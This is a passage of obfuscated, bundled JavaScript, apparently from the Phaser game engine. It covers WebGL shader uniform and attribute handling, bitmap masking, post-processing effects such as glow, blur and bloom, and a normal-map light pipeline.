0x0; _0x43d6bb < _0x466a7f['length']; _0x43d6bb++) { var _0x521a9d = _0x466a7f[_0x43d6bb], _0x15f51e = _0x521a9d['name'], _0x23714d = _0x1b8c53(_0x521a9d, 'size', 0x1), _0x5837cd = _0x1b8c53(_0x521a9d, 'type', _0x482033['FLOAT']), _0x372236 = _0x5837cd['enum'], _0x1ad7e3 = _0x5837cd['size'], _0x485cfb = !!_0x521a9d['normalized']; _0x1cc773['push']({ 'name': _0x15f51e, 'size': _0x23714d, 'type': _0x372236, 'normalized': _0x485cfb, 'offset': _0x1780c5, 'enabled': !0x1, 'location': -0x1 }), 0x4 === _0x1ad7e3 ? _0x408285 += _0x23714d : _0x408285++, _0x1780c5 += _0x23714d * _0x1ad7e3; } this['vertexSize'] = _0x1780c5, this['vertexComponentCount'] = _0x408285, this['attributes'] = _0x1cc773; }, 'bind': function (_0x559d27, _0x221054) { return void 0x0 === _0x559d27 && (_0x559d27 = !0x1), void 0x0 === _0x221054 && (_0x221054 = !0x1), _0x221054 && this['pipeline']['flush'](), this['renderer']['setProgram'](this['program']), _0x559d27 && this['setAttribPointers'](), this; }, 'rebind': function () { return this['renderer']['setProgram'](this['program']), this['setAttribPointers'](!0x0), this; }, 'setAttribPointers': function (_0x39f22d) { void 0x0 === _0x39f22d && (_0x39f22d = !0x1); for (var _0x17dd52 = this['gl'], _0x46d717 = this['renderer'], _0x48d8ed = this['vertexSize'], _0x32cd29 = this['attributes'], _0x1bb8cc = this['program'], _0x45f972 = 0x0; _0x45f972 < _0x32cd29['length']; _0x45f972++) { var _0x1808f6 = _0x32cd29[_0x45f972], _0x204d86 = _0x1808f6['size'], _0x570687 = _0x1808f6['type'], _0x320650 = _0x1808f6['offset'], _0x2674dd = _0x1808f6['enabled'], _0x47fb4a = _0x1808f6['location'], _0x112d55 = !!_0x1808f6['normalized']; if (_0x39f22d) { -0x1 !== _0x47fb4a && _0x46d717['deleteAttribLocation'](_0x47fb4a); var _0xab3fc6 = this['renderer']['createAttribLocation'](_0x1bb8cc, _0x1808f6['name']); _0xab3fc6['webGLAttribLocation'] >= 0x0 ? (_0x17dd52['enableVertexAttribArray'](_0xab3fc6['webGLAttribLocation']), _0x17dd52['vertexAttribPointer'](_0xab3fc6['webGLAttribLocation'], _0x204d86, _0x570687, _0x112d55, _0x48d8ed, _0x320650), _0x1808f6['enabled'] = !0x0, _0x1808f6['location'] = _0xab3fc6) : -0x1 !== _0xab3fc6['webGLAttribLocation'] && _0x17dd52['disableVertexAttribArray'](_0xab3fc6['webGLAttribLocation']); } else _0x2674dd ? _0x17dd52['vertexAttribPointer'](_0x47fb4a['webGLAttribLocation'], _0x204d86, _0x570687, _0x112d55, _0x48d8ed, _0x320650) : !_0x2674dd && -0x1 !== _0x47fb4a && _0x47fb4a['webGLAttribLocation'] > -0x1 && (_0x17dd52['disableVertexAttribArray'](_0x47fb4a['webGLAttribLocation']), _0x1808f6['location'] = -0x1); } return this; }, 'createUniforms': function () { var _0x1a2a9a, _0x53aba2, _0x113921, _0x311d7e = this['gl'], _0xcebb06 = this['program'], _0x30840a = this['uniforms'], _0x4c54f1 = _0x311d7e['getProgramParameter'](_0xcebb06['webGLProgram'], _0x311d7e['ACTIVE_UNIFORMS']); for (_0x1a2a9a = 0x0; _0x1a2a9a < _0x4c54f1; _0x1a2a9a++) { var _0x5b65ac = _0x311d7e['getActiveUniform'](_0xcebb06['webGLProgram'], _0x1a2a9a); if (_0x5b65ac) { _0x53aba2 = _0x5b65ac['name'], null !== (_0x113921 = this['renderer']['createUniformLocation'](_0xcebb06, _0x53aba2)) && (_0x30840a[_0x53aba2] = { 'name': _0x53aba2, 'location': _0x113921, 'setter': null, 'value1': null, 'value2': null, 'value3': null, 'value4': null }); var _0x43b47d = _0x53aba2['indexOf']('['); _0x43b47d > 0x0 && (_0x53aba2 = _0x53aba2['substr'](0x0, _0x43b47d), _0x30840a['hasOwnProperty'](_0x53aba2) || null !== (_0x113921 = this['renderer']['createUniformLocation'](_0xcebb06, _0x53aba2)) && (_0x30840a[_0x53aba2] = { 'name': _0x53aba2, 'location': _0x113921, 'setter': null, 'value1': null, 'value2': null, 'value3': null, 'value4': null })); } } return this; }, 'syncUniforms': function () { var _0x29a826 = this['gl']; for (var _0xbd19fa in (this['renderer']['setProgram'](this['program']), this['uniforms'])) { var _0x22113 = this['uniforms'][_0xbd19fa]; _0x22113['setter'] && _0x22113['setter']['call'](_0x29a826, _0x22113['location']['webGLUniformLocation'], _0x22113['value1'], _0x22113['value2'], _0x22113['value3'], _0x22113['value4']); } }, 'hasUniform': function (_0x587ac5) { return this['uniforms']['hasOwnProperty'](_0x587ac5); }, 'resetUniform': function (_0x903755) { var _0x23fc55 = this['uniforms'][_0x903755]; return _0x23fc55 && (_0x23fc55['value1'] = null, _0x23fc55['value2'] = null, _0x23fc55['value3'] = null, _0x23fc55['value4'] = null), this; }, 'setUniform1': function (_0x3d32af, _0x1b7368, _0x136035, _0x1bc36d) { var _0x2f23cc = this['uniforms'][_0x1b7368]; return _0x2f23cc ? ((_0x1bc36d || _0x2f23cc['value1'] !== _0x136035) && (_0x2f23cc['setter'] || (_0x2f23cc['setter'] = _0x3d32af), _0x2f23cc['value1'] = _0x136035, this['renderer']['setProgram'](this['program']), _0x3d32af['call'](this['gl'], _0x2f23cc['location']['webGLUniformLocation'], _0x136035), this['pipeline']['currentShader'] = this), this) : this; }, 'setUniform2': function (_0x258a74, _0x195bde, _0x3201e5, _0x160f43, _0x485588) { var _0x5356dc = this['uniforms'][_0x195bde]; return _0x5356dc ? ((_0x485588 || _0x5356dc['value1'] !== _0x3201e5 || _0x5356dc['value2'] !== _0x160f43) && (_0x5356dc['setter'] || (_0x5356dc['setter'] = _0x258a74), _0x5356dc['value1'] = _0x3201e5, _0x5356dc['value2'] = _0x160f43, this['renderer']['setProgram'](this['program']), _0x258a74['call'](this['gl'], _0x5356dc['location']['webGLUniformLocation'], _0x3201e5, _0x160f43), this['pipeline']['currentShader'] = this), this) : this; }, 'setUniform3': function (_0x34c057, _0x3f033f, _0x14d853, _0x325a4f, _0x47cea9, _0x11c9ad) { var _0x5608e3 = this['uniforms'][_0x3f033f]; return _0x5608e3 ? ((_0x11c9ad || _0x5608e3['value1'] !== _0x14d853 || _0x5608e3['value2'] !== _0x325a4f || _0x5608e3['value3'] !== _0x47cea9) && (_0x5608e3['setter'] || (_0x5608e3['setter'] = _0x34c057), _0x5608e3['value1'] = _0x14d853, _0x5608e3['value2'] = _0x325a4f, _0x5608e3['value3'] = _0x47cea9, this['renderer']['setProgram'](this['program']), _0x34c057['call'](this['gl'], _0x5608e3['location']['webGLUniformLocation'], _0x14d853, _0x325a4f, _0x47cea9), this['pipeline']['currentShader'] = this), this) : this; }, 'setUniform4': function (_0x58059e, _0x539ed3, _0xc9a966, _0x59f757, _0x435ee9, _0x272f0b, _0x1451a9) { var _0x12972f = this['uniforms'][_0x539ed3]; return _0x12972f ? ((_0x1451a9 || _0x12972f['value1'] !== _0xc9a966 || _0x12972f['value2'] !== _0x59f757 || _0x12972f['value3'] !== _0x435ee9 || _0x12972f['value4'] !== _0x272f0b) && (_0x12972f['setter'] || (_0x12972f['setter'] = _0x58059e), _0x12972f['value1'] = _0xc9a966, _0x12972f['value2'] = _0x59f757, _0x12972f['value3'] = _0x435ee9, _0x12972f['value4'] = _0x272f0b, this['renderer']['setProgram'](this['program']), _0x58059e['call'](this['gl'], _0x12972f['location']['webGLUniformLocation'], _0xc9a966, _0x59f757, _0x435ee9, _0x272f0b), this['pipeline']['currentShader'] = this), this) : this; }, 'setBoolean': function (_0x1079d5, _0x24700f) { return this['setUniform1'](this['gl']['uniform1i'], _0x1079d5, Number(_0x24700f)); }, 'set1f': function (_0x5a0df4, _0x2add27) { return this['setUniform1'](this['gl']['uniform1f'], _0x5a0df4, _0x2add27); }, 'set2f': function (_0x4efbbc, _0x34ac72, _0x54bc74) { return this['setUniform2'](this['gl']['uniform2f'], _0x4efbbc, _0x34ac72, _0x54bc74); }, 'set3f': function (_0x50205a, _0x1ee402, _0x1e3431, _0x151a69) { return this['setUniform3'](this['gl']['uniform3f'], _0x50205a, _0x1ee402, _0x1e3431, _0x151a69); }, 'set4f': function (_0x28d168, _0x2a4c95, _0x26e09b, _0x1e629f, _0xd0d8cb) { return this['setUniform4'](this['gl']['uniform4f'], _0x28d168, _0x2a4c95, _0x26e09b, _0x1e629f, _0xd0d8cb); }, 'set1fv': function (_0x465eb0, _0x43e47f) { return this['setUniform1'](this['gl']['uniform1fv'], _0x465eb0, _0x43e47f, !0x0); }, 'set2fv': function (_0x15326e, _0x1053b0) { return this['setUniform1'](this['gl']['uniform2fv'], _0x15326e, _0x1053b0, !0x0); }, 'set3fv': function (_0x12f803, _0x417ed1) { return this['setUniform1'](this['gl']['uniform3fv'], _0x12f803, _0x417ed1, !0x0); }, 'set4fv': function (_0x3e65f1, _0x407759) { return this['setUniform1'](this['gl']['uniform4fv'], _0x3e65f1, _0x407759, !0x0); }, 'set1iv': function (_0x5a1ef1, _0x35e51c) { return this['setUniform1'](this['gl']['uniform1iv'], _0x5a1ef1, _0x35e51c, !0x0); }, 'set2iv': function (_0x5a673d, _0x1201ca) { return this['setUniform1'](this['gl']['uniform2iv'], _0x5a673d, _0x1201ca, !0x0); }, 'set3iv': function (_0x48682c, _0x5e32ee) { return this['setUniform1'](this['gl']['uniform3iv'], _0x48682c, _0x5e32ee, !0x0); }, 'set4iv': function (_0x578636, _0x5abf31) { return this['setUniform1'](this['gl']['uniform4iv'], _0x578636, _0x5abf31, !0x0); }, 'set1i': function (_0x8c10e4, _0x2a1df2) { return this['setUniform1'](this['gl']['uniform1i'], _0x8c10e4, _0x2a1df2); }, 'set2i': function (_0x5f3c69, _0x23072f, _0x2b9d81) { return this['setUniform2'](this['gl']['uniform2i'], _0x5f3c69, _0x23072f, _0x2b9d81); }, 'set3i': function (_0x59cdee, _0x5acc6e, _0x36f4d1, _0x3e6839) { return this['setUniform3'](this['gl']['uniform3i'], _0x59cdee, _0x5acc6e, _0x36f4d1, _0x3e6839); }, 'set4i': function (_0x5943e7, _0x443868, _0x10af28, _0xe10c69, _0x1d85c3) { return this['setUniform4'](this['gl']['uniform4i'], _0x5943e7, _0x443868, _0x10af28, _0xe10c69, _0x1d85c3); }, 'setMatrix2fv': function (_0x111a17, _0x529ffb, _0x5b2cb2) { return this['setUniform2'](this['gl']['uniformMatrix2fv'], _0x111a17, _0x529ffb, _0x5b2cb2, !0x0); }, 'setMatrix3fv': function (_0x304979, _0x46db9c, _0x42bc2a) { return this['setUniform2'](this['gl']['uniformMatrix3fv'], _0x304979, _0x46db9c, _0x42bc2a, !0x0); }, 'setMatrix4fv': function (_0x3fa5e7, _0x449ecc, _0x22f95e) { return this['setUniform2'](this['gl']['uniformMatrix4fv'], _0x3fa5e7, _0x449ecc, _0x22f95e, !0x0); }, 'createProgram': function (_0x2691b0, _0x2da0a4) { return void 0x0 === _0x2691b0 && (_0x2691b0 = this['vertSrc']), void 0x0 === _0x2da0a4 && (_0x2da0a4 = this['fragSrc']), this['program'] && this['renderer']['deleteProgram'](this['program']), this['vertSrc'] = _0x2691b0, this['fragSrc'] = _0x2da0a4, this['program'] = this['renderer']['createProgram'](_0x2691b0, _0x2da0a4), this['createUniforms'](), this['rebind'](); }, 'destroy': function () { var _0x545370 = this['renderer']; _0x346b0e(this['uniforms'], function (_0x26003b) { _0x545370['deleteUniformLocation'](_0x26003b['location']); }), this['uniforms'] = null, _0x346b0e(this['attributes'], function (_0x437d6d) { _0x545370['deleteAttribLocation'](_0x437d6d['location']); }), this['attributes'] = null, _0x545370['deleteProgram'](this['program']), this['pipeline'] = null, this['renderer'] = null, this['gl'] = null, this['program'] = null; } }); _0x36a705['exports'] = _0x1160d8; }, 0x38a4: _0x158bb4 => { _0x158bb4['exports'] = { 'BYTE': { 'enum': 0x1400, 'size': 0x1 }, 'UNSIGNED_BYTE': { 'enum': 0x1401, 'size': 0x1 }, 'SHORT': { 'enum': 0x1402, 'size': 0x2 }, 'UNSIGNED_SHORT': { 'enum': 0x1403, 'size': 0x2 }, 'INT': { 'enum': 0x1404, 'size': 0x4 }, 'UNSIGNED_INT': { 'enum': 0x1405, 'size': 0x4 }, 'FLOAT': { 'enum': 0x1406, 'size': 0x4 } }; }, 0x103f: (_0x31df5a, _0x1f9c8b, _0x13b60b) => { var _0x5460fa = _0x13b60b(0x38a4), _0x28c8e6 = _0x13b60b(0x135bb), _0x5e791f = { 'PipelineManager': _0x13b60b(0x1d6a), 'Pipelines': _0x13b60b(0x17967), 'RenderTarget': _0x13b60b(0x7e2e), 'Utils': _0x13b60b(0x1139a), 'WebGLPipeline': _0x13b60b(0x71ac), 'WebGLRenderer': _0x13b60b(0x1242d), 'WebGLShader': _0x13b60b(0x971b), 'Wrappers': _0x13b60b(0x251f) }; _0x5e791f = _0x28c8e6(!0x1, _0x5e791f, _0x5460fa), _0x31df5a['exports'] = _0x5e791f; }, 0x7a46: (_0x107e96, _0x276ff6, _0x3bfa3d) => { var _0x1db050 = _0x3bfa3d(0x145db), _0x401a2e = _0x3bfa3d(0x17534), _0x23387a = _0x3bfa3d(0x1343c), _0x1651e8 = _0x3bfa3d(0x14cc7), _0x2900d6 = _0x3bfa3d(0x38a4), _0x241fad = _0x3bfa3d(0x71ac), _0x29a7b1 = new _0x1db050({ 'Extends': _0x241fad, 'initialize': function (_0x4564c9) { _0x4564c9['fragShader'] = _0x401a2e(_0x4564c9, 'fragShader', _0x23387a), _0x4564c9['vertShader'] = _0x401a2e(_0x4564c9, 'vertShader', _0x1651e8), _0x4564c9['batchSize'] = _0x401a2e(_0x4564c9, 'batchSize', 0x1), _0x4564c9['vertices'] = _0x401a2e(_0x4564c9, 'vertices', [-0x1, 0x1, -0x1, -0x7, 0x7, 0x1]), _0x4564c9['attributes'] = _0x401a2e(_0x4564c9, 'attributes', [{ 'name': 'inPosition', 'size': 0x2, 'type': _0x2900d6['FLOAT'] }]), _0x241fad['call'](this, _0x4564c9); }, 'boot': function () { _0x241fad['prototype']['boot']['call'](this), this['set1i']('uMainSampler', 0x0), this['set1i']('uMaskSampler', 0x1); }, 'resize': function (_0x2659c8, _0x53e81c) { _0x241fad['prototype']['resize']['call'](this, _0x2659c8, _0x53e81c), this['set2f']('uResolution', _0x2659c8, _0x53e81c); }, 'beginMask': function (_0x4e2601, _0xc3ea23, _0x2055de) { this['renderer']['beginBitmapMask'](_0x4e2601, _0x2055de); }, 'endMask': function (_0x344cb1, _0x12357f, _0x3b141d) { var _0xb19d03 = this['gl'], _0x58a80c = this['renderer'], _0x21e9a7 = _0x344cb1['bitmapMask']; _0x21e9a7 && _0xb19d03 && (_0x58a80c['drawBitmapMask'](_0x21e9a7, _0x12357f, this), _0x3b141d && this['set2f']('uResolution', _0x3b141d['width'], _0x3b141d['height']), this['set1i']('uInvertMaskAlpha', _0x344cb1['invertAlpha']), _0xb19d03['drawArrays'](this['topology'], 0x0, 0x3), _0x3b141d && this['set2f']('uResolution', this['width'], this['height']), _0xb19d03['bindTexture'](_0xb19d03['TEXTURE_2D'], null)); } }); _0x107e96['exports'] = _0x29a7b1; }, 0x169eb: (_0x3f2fb0, _0x5e431e, _0x1c18f0) => { var _0x506434 = _0x1c18f0(0x145db), _0x2989e0 = _0x1c18f0(0xe626), _0x20adf7 = _0x1c18f0(0x39db), _0x11b63e = _0x1c18f0(0x17534), _0x3865e0 = _0x1c18f0(0xaa26), _0x14c25c = _0x1c18f0(0x15d06), _0x5e4bb2 = _0x1c18f0(0x1139a), _0x24a512 = new _0x506434({ 'Extends': _0x3865e0, 'initialize': function (_0x4ab5df) { _0x4ab5df['shaders'] = [_0x5e4bb2['setGlowQuality'](_0x14c25c['FXGlowFrag'], _0x4ab5df['game']), _0x14c25c['FXShadowFrag'], _0x14c25c['FXPixelateFrag'], _0x14c25c['FXVignetteFrag'], _0x14c25c['FXShineFrag'], _0x14c25c['FXBlurLowFrag'], _0x14c25c['FXBlurMedFrag'], _0x14c25c['FXBlurHighFrag'], _0x14c25c['FXGradientFrag'], _0x14c25c['FXBloomFrag'], _0x14c25c['ColorMatrixFrag'], _0x14c25c['FXCircleFrag'], _0x14c25c['FXBarrelFrag'], _0x14c25c['FXDisplacementFrag'], _0x14c25c['FXWipeFrag'], _0x14c25c['FXBokehFrag']], _0x3865e0['call'](this, _0x4ab5df); var _0x2793d2 = this['game']; this['glow'] = new _0x2989e0['Glow'](_0x2793d2), this['shadow'] = new _0x2989e0['Shadow'](_0x2793d2), this['pixelate'] = new _0x2989e0['Pixelate'](_0x2793d2), this['vignette'] = new _0x2989e0['Vignette'](_0x2793d2), this['shine'] = new _0x2989e0['Shine'](_0x2793d2), this['gradient'] = new _0x2989e0['Gradient'](_0x2793d2), this['circle'] = new _0x2989e0['Circle'](_0x2793d2), this['barrel'] = new _0x2989e0['Barrel'](_0x2793d2), this['wipe'] = new _0x2989e0['Wipe'](_0x2793d2), this['bokeh'] = new _0x2989e0['Bokeh'](_0x2793d2); var _0x2db5af = []; _0x2db5af[_0x20adf7['GLOW']] = this['onGlow'], _0x2db5af[_0x20adf7['SHADOW']] = this['onShadow'], _0x2db5af[_0x20adf7['PIXELATE']] = this['onPixelate'], _0x2db5af[_0x20adf7['VIGNETTE']] = this['onVignette'], _0x2db5af[_0x20adf7['SHINE']] = this['onShine'], _0x2db5af[_0x20adf7['BLUR']] = this['onBlur'], _0x2db5af[_0x20adf7['GRADIENT']] = this['onGradient'], _0x2db5af[_0x20adf7['BLOOM']] = this['onBloom'], _0x2db5af[_0x20adf7['COLOR_MATRIX']] = this['onColorMatrix'], _0x2db5af[_0x20adf7['CIRCLE']] = this['onCircle'], _0x2db5af[_0x20adf7['BARREL']] = this['onBarrel'], _0x2db5af[_0x20adf7['DISPLACEMENT']] = this['onDisplacement'], _0x2db5af[_0x20adf7['WIPE']] = this['onWipe'], _0x2db5af[_0x20adf7['BOKEH']] = this['onBokeh'], this['fxHandlers'] = _0x2db5af, this['source'], this['target'], this['swap']; }, 'onDraw': function (_0x4fbd0f, _0x1ecba8, _0x5e39f9) { this['source'] = _0x4fbd0f, this['target'] = _0x1ecba8, this['swap'] = _0x5e39f9; var _0x29a684 = _0x4fbd0f['width'], _0x93461e = _0x4fbd0f['height'], _0xb700a3 = this['tempSprite'], _0x52ff41 = this['fxHandlers']; if (_0xb700a3 && _0xb700a3['preFX']) for (var _0x4a751b = _0xb700a3['preFX']['list'], _0x2c18c3 = 0x0; _0x2c18c3 < _0x4a751b['length']; _0x2c18c3++) { var _0x1ee3c5 = _0x4a751b[_0x2c18c3]; _0x1ee3c5['active'] && _0x52ff41[_0x1ee3c5['type']]['call'](this, _0x1ee3c5, _0x29a684, _0x93461e); } this['drawToGame'](this['source']); }, 'runDraw': function () { var _0x54ea47 = this['source'], _0x364e4d = this['target']; this['copy'](_0x54ea47, _0x364e4d), this['source'] = _0x364e4d, this['target'] = _0x54ea47; }, 'onGlow': function (_0x317bb3, _0x5995a7, _0x5a2401) { var _0x27c7dc = this['shaders'][_0x20adf7['GLOW']]; this['setShader'](_0x27c7dc), this['glow']['onPreRender'](_0x317bb3, _0x27c7dc, _0x5995a7, _0x5a2401), this['runDraw'](); }, 'onShadow': function (_0xe7403f) { var _0x5760de = this['shaders'][_0x20adf7['SHADOW']]; this['setShader'](_0x5760de), this['shadow']['onPreRender'](_0xe7403f, _0x5760de), this['runDraw'](); }, 'onPixelate': function (_0x2dfab6, _0x5d3d01, _0x29c803) { var _0x3830b7 = this['shaders'][_0x20adf7['PIXELATE']]; this['setShader'](_0x3830b7), this['pixelate']['onPreRender'](_0x2dfab6, _0x3830b7, _0x5d3d01, _0x29c803), this['runDraw'](); }, 'onVignette': function (_0x43401f) { var _0x1c2277 = this['shaders'][_0x20adf7['VIGNETTE']]; this['setShader'](_0x1c2277), this['vignette']['onPreRender'](_0x43401f, _0x1c2277), this['runDraw'](); }, 'onShine': function (_0x2be8b5, _0x4ec122, _0x4c5da8) { var _0x1ef9d3 = this['shaders'][_0x20adf7['SHINE']]; this['setShader'](_0x1ef9d3), this['shine']['onPreRender'](_0x2be8b5, _0x1ef9d3, _0x4ec122, _0x4c5da8), this['runDraw'](); }, 'onBlur': function (_0x499db7, _0x5b4754, _0xa07896) { var _0x5130ca = _0x11b63e(_0x499db7, 'quality'), _0x4252f3 = this['shaders'][_0x20adf7['BLUR'] + _0x5130ca]; this['setShader'](_0x4252f3), this['set1i']('uMainSampler', 0x0), this['set2f']('resolution', _0x5b4754, _0xa07896), this['set1f']('strength', _0x11b63e(_0x499db7, 'strength')), this['set3fv']('color', _0x11b63e(_0x499db7, 'glcolor')); for (var _0x5ea3d3 = _0x11b63e(_0x499db7, 'x'), _0x4443aa = _0x11b63e(_0x499db7, 'y'), _0x1ad867 = _0x11b63e(_0x499db7, 'steps'), _0x2e9626 = 0x0; _0x2e9626 < _0x1ad867; _0x2e9626++)this['set2f']('offset', _0x5ea3d3, 0x0), this['runDraw'](), this['set2f']('offset', 0x0, _0x4443aa), this['runDraw'](); }, 'onGradient': function (_0x11789b) { var _0x1b642d = this['shaders'][_0x20adf7['GRADIENT']]; this['setShader'](_0x1b642d), this['gradient']['onPreRender'](_0x11789b, _0x1b642d), this['runDraw'](); }, 'onBloom': function (_0x2b2de3, _0x146463, _0x79d92) { var _0x432b15 = this['shaders'][_0x20adf7['BLOOM']]; this['copySprite'](this['source'], this['swap']), this['setShader'](_0x432b15), this['set1i']('uMainSampler', 0x0), this['set1f']('strength', _0x11b63e(_0x2b2de3, 'blurStrength')), this['set3fv']('color', _0x11b63e(_0x2b2de3, 'glcolor')); for (var _0x1ad038 = 0x2 / _0x146463 * _0x11b63e(_0x2b2de3, 'offsetX'), _0x22d5ff = 0x2 / _0x79d92 * _0x11b63e(_0x2b2de3, 'offsetY'), _0x53fc29 = _0x11b63e(_0x2b2de3, 'steps'), _0x59695f = 0x0; _0x59695f < _0x53fc29; _0x59695f++)this['set2f']('offset', _0x1ad038, 0x0), this['runDraw'](), this['set2f']('offset', 0x0, _0x22d5ff), this['runDraw'](); this['blendFrames'](this['swap'], this['source'], this['target'], _0x11b63e(_0x2b2de3, 'strength')), this['copySprite'](this['target'], this['source']); }, 'onColorMatrix': function (_0x23dbbe) { this['setShader'](this['colorMatrixShader']), this['set1fv']('uColorMatrix', _0x23dbbe['getData']()), this['set1f']('uAlpha', _0x23dbbe['alpha']), this['runDraw'](); }, 'onCircle': function (_0x547570, _0x4e1ff8, _0x3557db) { var _0x5696af = this['shaders'][_0x20adf7['CIRCLE']]; this['setShader'](_0x5696af), this['circle']['onPreRender'](_0x547570, _0x5696af, _0x4e1ff8, _0x3557db), this['runDraw'](); }, 'onBarrel': function (_0x310b8a) { var _0x36b072 = this['shaders'][_0x20adf7['BARREL']]; this['setShader'](_0x36b072), this['barrel']['onPreRender'](_0x310b8a, _0x36b072), this['runDraw'](); }, 'onDisplacement': function (_0x110ab2) { this['setShader'](this['shaders'][_0x20adf7['DISPLACEMENT']]), this['set1i']('uDisplacementSampler', 0x1), this['set2f']('amount', _0x110ab2['x'], _0x110ab2['y']), this['bindTexture'](_0x110ab2['glTexture'], 0x1), this['runDraw'](); }, 'onWipe': function (_0x39ea29) { var _0xb0c404 = this['shaders'][_0x20adf7['WIPE']]; this['setShader'](_0xb0c404), this['wipe']['onPreRender'](_0x39ea29, _0xb0c404), this['runDraw'](); }, 'onBokeh': function (_0x1a333b, _0x3c43d9, _0x2e1ae0) { var _0x95b190 = this['shaders'][_0x20adf7['BOKEH']]; this['setShader'](_0x95b190), this['bokeh']['onPreRender'](_0x1a333b, _0x95b190, _0x3c43d9, _0x2e1ae0), this['runDraw'](); }, 'destroy': function () { return this['glow']['destroy'](), this['shadow']['destroy'](), this['pixelate']['destroy'](), this['vignette']['destroy'](), this['shine']['destroy'](), this['gradient']['destroy'](), this['circle']['destroy'](), this['barrel']['destroy'](), this['wipe']['destroy'](), this['bokeh']['destroy'](), this['fxHandlers'] = null, this['source'] = null, this['target'] = null, this['swap'] = null, _0x3865e0['prototype']['destroy']['call'](this), this; } }); _0x3f2fb0['exports'] = _0x24a512; }, 0x17939: (_0x293dd1, _0xdd34c6, _0x37724a) => { var _0x2d046c = _0x37724a(0x145db), _0x27c0e3 = _0x37724a(0x17534), _0x295d38 = _0x37724a(0x7957), _0x3b621a = _0x37724a(0xe0ac), _0x54431d = _0x37724a(0xef9c), _0x2ded9b = _0x37724a(0x65f3), _0x17daca = _0x37724a(0x71ac), _0x5ea063 = new _0x2d046c({ 'Extends': _0x3b621a, 'initialize': function (_0x1de3ce) { var _0x12d77f = _0x27c0e3(_0x1de3ce, 'fragShader', _0x295d38); _0x1de3ce['fragShader'] = _0x12d77f['replace']('%LIGHT_COUNT%', _0x1de3ce['game']['renderer']['config']['maxLights']), _0x3b621a['call'](this, _0x1de3ce), this['inverseRotationMatrix'] = new Float32Array([0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1]), this['currentNormalMap'], this['lightsActive'] = !0x0, this['tempVec2'] = new _0x2ded9b(), this['_tempMatrix'] = new _0x54431d(), this['_tempMatrix2'] = new _0x54431d(); }, 'boot': function () { _0x17daca['prototype']['boot']['call'](this); }, 'onRender': function (_0x273bd3, _0x2cc3c5) { var _0x5efc14 = _0x273bd3['sys']['lights']; if (this['lightsActive'] = !0x1, _0x5efc14 && _0x5efc14['active']) { var _0x320b5f, _0x59ca10 = _0x5efc14['getLights'](_0x2cc3c5), _0x1076b4 = _0x59ca10['length']; this['lightsActive'] = !0x0; var _0x56f838 = this['renderer']['height'], _0x127152 = _0x2cc3c5['matrix'], _0x421d9c = this['tempVec2']; for (this['set1i']('uMainSampler', 0x0), this['set1i']('uNormSampler', 0x1), this['set2f']('uResolution', this['width'] / 0x2, this['height'] / 0x2), this['set4f']('uCamera', _0x2cc3c5['x'], _0x2cc3c5['y'], _0x2cc3c5['rotation'], _0x2cc3c5['zoom']), this['set3f']('uAmbientLightColor', _0x5efc14['ambientColor']['r'], _0x5efc14['ambientColor']['g'], _0x5efc14['ambientColor']['b']), this['set1i']('uLightCount', _0x1076b4), _0x320b5f = 0x0; _0x320b5f < _0x1076b4; _0x320b5f++) { var _0x7bb8e3 = _0x59ca10[_0x320b5f]['light'], _0x42363e = _0x7bb8e3['color'], _0x205e38 = 'uLights[' + _0x320b5f + '].'; _0x127152['transformPoint'](_0x7bb8e3['x'], _0x7bb8e3['y'], _0x421d9c), this['set2f'](_0x205e38 + 'position', _0x421d9c['x'] - _0x2cc3c5['scrollX'] * _0x7bb8e3['scrollFactorX'] * _0x2cc3c5['zoom'], _0x56f838 - (_0x421d9c['y'] - _0x2cc3c5['scrollY'] * _0x7bb8e3['scrollFactorY'] * _0x2cc3c5['zoom'])), this['set3f'](_0x205e38 + 'color', _0x42363e['r'], _0x42363e['g'], _0x42363e['b']), this['set1f'](_0x205e38 + 'intensity', _0x7bb8e3['intensity']), this['set1f'](_0x205e38 + 'radius', _0x7bb8e3['radius']); } this['currentNormalMapRotation'] = null; } }, 'setNormalMapRotation': function (_0x4f3211) { if (_0x4f3211 !== this['currentNormalMapRotation'] || 0x0 === this['vertexCount']) { this['vertexCount'] > 0x0 && this['flush'](); var _0x2d5342 = this['inverseRotationMatrix']; if (_0x4f3211) { var _0x14417e = -_0x4f3211, _0x181f53 = Math['cos'](_0x14417e), _0x326479 = Math['sin'](_0x14417e); _0x2d5342[0x1] = _0x326479, _0x2d5342[0x3] = -_0x326479, _0x2d5342[0x0] = _0x2d5342[0x4] = _0x181f53; } else _0x2d5342[0x0] = _0x2d5342[0x4] = 0x1, _0x2d5342[0x1] = _0x2d5342[0x3] = 0x0; this['setMatrix3fv']('uInverseRotationMatrix', !0x1, _0x2d5342), this['currentNormalMapRotation'] = _0x4f3211; } }, 'setTexture2D': function (_0x5d654c, _0x4e9f24) { var _0xa8b7aa = this['renderer']; void 0x0 === _0x5d654c && (_0x5d654c = _0xa8b7aa['whiteTexture']); var _0x532aaf = this['getNormalMap'](_0x4e9f24); this['isNewNormalMap'](_0x5d654c, _0x532aaf) && (this['flush'](), this['createBatch'](_0x5d654c), this['addTextureToBatch'](_0x532aaf), this['currentNormalMap'] = _0x532aaf); var _0x438e33 = 0x0; return _0x4e9f24 && _0x4e9f24['parentContainer'] ? _0x438e33 = _0x4e9f24['getWorldTransformMatrix'](this['_tempMatrix'], this['_tempMatrix2'])['rotationNormalized'] : _0x4e9f24 && (_0x438e33 = _0x4e9f24['rotation']), null === this['currentBatch'] && (this['createBatch'](_0x5d654c), this['addTextureToBatch'](_0x532aaf)), this['setNormalMapRotation'](_0x438e33), 0x0; }, 'setGameObject': function (_0x341ec1, _0x40bb7d) { void 0x0 === _0x40bb7d && (_0x40bb7d = _0x341ec1['frame']); var _0x5290b9 = _0x40bb7d['glTexture'], _0x598b11 = this['getNormalMap'](_0x341ec1); if (this['isNewNormalMap'](_0x5290b9, _0x598b11) && (this['flush'](), this['createBatch'](_0x5290b9), this['addTextureToBatch'](_0x598b11), this['currentNormalMap'] = _0x598b11), _0x341ec1['parentContainer']) { var _0x3f2e3e = _0x341ec1['getWorldTransformMatrix'](this['_tempMatrix'], this['_tempMatrix2']); this['setNormalMapRotation'](_0x3f2e3e['rotationNormalized']); } else this['setNormalMapRotation'](_0x341ec1['rotation']); return null === this['currentBatch'] && (this['createBatch'](_0x5290b9), this['addTextureToBatch'](_0x598b11)), 0x0; }, 'isNewNormalMap': function (_0x2ae80e, _0x1c9eb8) { return this['currentTexture'] !== _0x2ae80e || this['currentNormalMap'] !== _0x1c9eb8; }, 'getNormalMap': function (_0x4b1e1c) { var 